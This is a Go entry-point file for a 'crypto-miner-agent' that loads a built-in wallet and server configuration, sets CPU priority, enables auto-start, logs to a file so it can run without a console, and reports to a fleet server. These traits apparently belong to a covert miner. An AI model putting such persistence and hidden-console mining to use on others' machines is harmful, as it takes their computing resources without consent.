Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
53 lines
1.3 KiB
Go
53 lines
1.3 KiB
Go
package main
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
|
|
"crypto-miner-agent/client"
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func main() {
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
cfg := config.Load()
|
|
|
|
if cfg.Wallet == "" {
|
|
log.Fatal("wallet address is required in built-in configuration")
|
|
}
|
|
if cfg.ServerURL == "" {
|
|
log.Fatal("server URL is required in built-in configuration")
|
|
}
|
|
|
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
|
}
|
|
|
|
if cfg.AutoStart {
|
|
if exe, err := deploy.CurrentExecutable(); err == nil {
|
|
if err := deploy.ConfigureAutoStart(exe, true); err != nil {
|
|
log.Printf("[agent] auto-start setup failed: %v", err)
|
|
}
|
|
}
|
|
}
|
|
|
|
log.Printf("[agent] starting worker=%s build=%s server=%s threads=%d",
|
|
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
|
|
|
|
agent := client.NewAgentClient(cfg)
|
|
if err := agent.Run(); err != nil {
|
|
log.Fatalf("[agent] stopped: %v", err)
|
|
}
|
|
}
|
|
|
|
func init() {
|
|
// Hide console when built with -H windowsgui by redirecting logs to file if needed.
|
|
if os.Getenv("MINER_LOG_FILE") != "" {
|
|
f, err := os.OpenFile(os.Getenv("MINER_LOG_FILE"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
|
if err == nil {
|
|
log.SetOutput(f)
|
|
}
|
|
}
|
|
}
|